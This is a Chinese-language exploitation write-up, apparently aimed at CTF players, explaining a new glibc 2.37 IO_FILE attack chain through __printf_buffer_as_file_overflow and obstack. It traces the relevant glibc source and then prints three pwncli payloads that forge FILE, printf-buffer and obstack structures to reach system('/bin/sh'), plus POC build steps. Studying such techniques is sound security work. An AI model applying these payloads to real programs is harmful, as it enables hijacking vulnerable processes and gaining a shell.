一条新的glibc IO_FILE利用链：__printf_buffer_as_file_overflow利用分析

struct _IO_FILE {      int _flags;    #define _IO_file_flags _flags     char* _IO_read_ptr;   /* Current read pointer */    char* _IO_read_end;   /* End of get area. */    char* _IO_read_base;  /* Start of putback+get area. */    char* _IO_write_base; /* Start of put area. */    char* _IO_write_ptr;  /* Current put pointer. */    char* _IO_write_end;  /* End of put area. */    char* _IO_buf_base;   /* Start of reserve area. */    char* _IO_buf_end;    /* End of reserve area. */    /* The following fields are used to support backing up and undo. */    char *_IO_save_base; /* Pointer to start of non-current get area. */    char *_IO_backup_base;  /* Pointer to first valid character of backup area */    char *_IO_save_end; /* Pointer to end of non-current get area. */     struct _IO_marker *_markers;     struct _IO_FILE *_chain;     int _fileno;#if 0    int _blksize;#else    int _flags2;#endif    _IO_off_t _old_offset;    /* This used to be _offset but it's too small.  */ #define __HAVE_COLUMN    /* temporary */    unsigned short _cur_column;    signed char _vtable_offset;    char _shortbuf[1];     /*  char* _save_gptr;  char* _save_egptr; */    _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};

struct _IO_jump_t{    JUMP_FIELD(size_t, __dummy);    JUMP_FIELD(size_t, __dummy2);    JUMP_FIELD(_IO_finish_t, __finish);    JUMP_FIELD(_IO_overflow_t, __overflow);    JUMP_FIELD(_IO_underflow_t, __underflow);    JUMP_FIELD(_IO_underflow_t, __uflow);    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);    /* showmany */    JUMP_FIELD(_IO_xsputn_t, __xsputn);    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);    JUMP_FIELD(_IO_seekoff_t, __seekoff);    JUMP_FIELD(_IO_seekpos_t, __seekpos);    JUMP_FIELD(_IO_setbuf_t, __setbuf);    JUMP_FIELD(_IO_sync_t, __sync);    JUMP_FIELD(_IO_doallocate_t, __doallocate);    JUMP_FIELD(_IO_read_t, __read);    JUMP_FIELD(_IO_write_t, __write);    JUMP_FIELD(_IO_seek_t, __seek);    JUMP_FIELD(_IO_close_t, __close);    JUMP_FIELD(_IO_stat_t, __stat);    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);    JUMP_FIELD(_IO_imbue_t, __imbue);#if 0    get_column;    set_column;#endif};

struct _IO_FILE_plus{  _IO_FILE file;  const struct _IO_jump_t *vtable;};

struct __printf_buffer{  char *write_base;  char *write_ptr;  char *write_end;  uint64_t written;  enum __printf_buffer_mode mode;};

struct __printf_buffer_as_file{  /* Interface to libio.  */  FILE stream;  const struct _IO_jump_t *vtable;   /* Pointer to the underlying buffer.  */  struct __printf_buffer *next;};

struct obstack          /* control current object in current chunk */{  long chunk_size;              /* preferred size to allocate chunks in */  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */  char *object_base;            /* address of object we are building */  char *next_free;              /* where to add next char to current object */  char *chunk_limit;            /* address of char after current chunk */  union  {    PTR_INT_TYPE tempint;    void *tempptr;  } temp;                       /* Temporary for some macros.  */  int alignment_mask;           /* Mask of alignment for each object. */   struct _obstack_chunk *(*chunkfun) (void *, long);  void (*freefun) (void *, struct _obstack_chunk *);  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */  unsigned maybe_empty_object : 1; /* There is a possibility that the current   unsigned alloc_failed : 1;      /* No longer used, as we now call the failed                     handler on error, but retained for binary                     compatibility.  */};

struct __printf_buffer_obstack{  struct __printf_buffer base;  struct obstack *obstack;   char ch;};

static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable ={  JUMP_INIT_DUMMY,  JUMP_INIT(finish, NULL),  JUMP_INIT(overflow, __printf_buffer_as_file_overflow),//函数一  JUMP_INIT(underflow, NULL),  JUMP_INIT(uflow, NULL),  JUMP_INIT(pbackfail, NULL),  JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),//函数二  JUMP_INIT(xsgetn, NULL),  JUMP_INIT(seekoff, NULL),  JUMP_INIT(seekpos, NULL),  JUMP_INIT(setbuf, NULL),  JUMP_INIT(sync, NULL),  JUMP_INIT(doallocate, NULL),  JUMP_INIT(read, NULL),  JUMP_INIT(write, NULL),  JUMP_INIT(seek, NULL),  JUMP_INIT(close, NULL),  JUMP_INIT(stat, NULL),  JUMP_INIT(showmanyc, NULL),  JUMP_INIT(imbue, NULL)};

static int__printf_buffer_as_file_overflow (FILE *fp, int ch){  struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;   __printf_buffer_as_file_commit (file);   /* EOF means only a flush is requested.   */  if (ch != EOF)    __printf_buffer_putc (file->next, ch);   /* Ensure that flushing actually produces room.  */  if (!__printf_buffer_has_failed (file->next)      && file->next->write_ptr == file->next->write_end)    __printf_buffer_flush (file->next);    [...]}

static void__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file){  /* Check that the write pointers in the file stream are consistent     with the next buffer.  */  assert (file->stream._IO_write_ptr >= file->next->write_ptr);  assert (file->stream._IO_write_ptr <= file->next->write_end);  assert (file->stream._IO_write_base == file->next->write_base);  assert (file->stream._IO_write_end == file->next->write_end);   file->next->write_ptr = file->stream._IO_write_ptr;}

static inline void__printf_buffer_putc (struct __printf_buffer *buf, char ch){  if (buf->write_ptr != buf->write_end)      *buf->write_ptr++ = ch;  else    __printf_buffer_putc_1 (buf, ch);}

static void__printf_buffer_do_flush (struct __printf_buffer *buf){  switch (buf->mode)    {    case __printf_buffer_mode_failed:    case __printf_buffer_mode_sprintf:      return;    case __printf_buffer_mode_snprintf:      __printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf *) buf);      return;    ......    case __printf_buffer_mode_fphex_to_wide:      __printf_buffer_flush_fphex_to_wide        ((struct __printf_buffer_fphex_to_wide *) buf);      return;    case __printf_buffer_mode_obstack:      __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);      return;    }  __builtin_trap ();}

void__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf){  /* About to switch buffers, so record the bytes written so far.  */  buf->base.written += buf->base.write_ptr - buf->base.write_base;   if (buf->base.write_ptr == &buf->ch + 1)    {      /* Errors are reported via a callback mechanism (presumably for     process termination).  */      obstack_1grow (buf->obstack, buf->ch);      [...]    }}

# define obstack_1grow(OBSTACK, datum)                            __extension__                                          ({ struct obstack *__o = (OBSTACK);                                 if (__o->next_free + 1 > __o->chunk_limit)                       _obstack_newchunk (__o, 1);                                 obstack_1grow_fast (__o, datum);                                 (void) 0; })

void_obstack_newchunk (struct obstack *h, int length){  struct _obstack_chunk *old_chunk = h->chunk;  struct _obstack_chunk *new_chunk;  long new_size;  long obj_size = h->next_free - h->object_base;  long i;  long already;  char *object_base;   /* Compute size for new chunk.  */  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;  if (new_size < h->chunk_size)    new_size = h->chunk_size;   /* Allocate and initialize the new chunk.  */  new_chunk = CALL_CHUNKFUN (h, new_size);  [...]

# define CALL_CHUNKFUN(h, size)   (((h)->use_extra_arg)                                     ? (*(h)->chunkfun)((h)->extra_arg, (size))                         : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

wget https://mirrors.nju.edu.cn/gnu/libc/glibc-2.37.tar.gz

tar -zxvf glibc-2.37.tar.gz

mkdir buildcd build../configure --prefix=你想放置可执行文件的绝对路径sudo makesudo make install

https://share.weiyun.com/TSaLBBPi

gcc POC.c -g -o POC

patchelf --set-rpath 你存放编译后的文件路径/bin/lib ./POCpatchelf --set-interpreter  你存放编译后的文件路径/bin/lib/ld-linux-x86-64.so.2 ./POC

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1    #0x28fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20  pd = flat(    {    0x0:bytes(fp),    #------fake __printf_buffer---    0xe0:leak_heap+0xe8,    0xe8:[    0,  #write_base 0    0,  #write_ptr  8    leak_heap+0xe8 + 0x30 + 1,   #write_end 0x10    leak_heap+0x110,   #written 0x18    p32(11),  #mode  0x20    ],    #----------------------------    #------fake obstack----------    0x110:leak_heap+0x110,    0x110+0x18:[    '/bin/shx00',    0    ],    0x110+0x38:libc.sym.system,    0x110+0x48:leak_heap+0x110+0x18,    0x110+0x50:[0xff]    #----------------------------    })

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1    #0x28fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20  #fake a obsatckfp._IO_read_base = 0x68732f6e69622f             #0x18fp._IO_backup_base = 0xff                       #0x50fp._IO_buf_base = libc.sym.system               #0x38fp._IO_save_base = leak_heap+0x18               #0x48 pd = flat(    {    0x0:bytes(fp),    0xe0:leak_heap+0xe8,    0xe8:[    0,  #write_base 0    0,  #write_ptr  8    leak_heap+0xe8 + 0x30 + 1,   #write_end 0x10    leak_heap+0x110,   #written 0x18    p32(11),  #mode  0x20    ],    0x110:leak_heap, #fake a obstack    })

from pwncli import *fp = IO_FILE_plus_struct()fp.vtable = 0x1ced60 + lbfp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1    #0x28fp._IO_write_end = fake_printf_buffer + 0x30 + 1    #0x30fp._IO_write_base = 0x0                         #0x20 #fake a obsatckfp._IO_backup_base = 0xff                       #0x50fp._IO_buf_base = libc.sym.system               #0x38fp._IO_save_base = fake_fp + 0xa0             #0x48fp._wide_data = 0x68732f6e69622f                #0xa0 #fake a __printf_bufferfp = payload_replace(bytes(fp),{    0x58:0,    0x60:0,    0x68:fake_printf_buffer + 0x30 + 1,    0x70:0,    0x78:11,    0x80:fake_fp})  pd = flat(    {    0x0:bytes(fp),    0xe0:fake_printf_buffer,    })

struct __printf_buffer{  char *write_base;     0x0-0x8  char *write_ptr;        0x8-0x10  char *write_end;        0x10-0x18  uint64_t written;        0x18-0x20  enum __printf_buffer_mode mode; 0x20-0x24};

struct __printf_buffer_obstack{  struct __printf_buffer base;    0x0-0x24  struct obstack *obstack;        0x28-0x30   char ch;    0x30-0x31};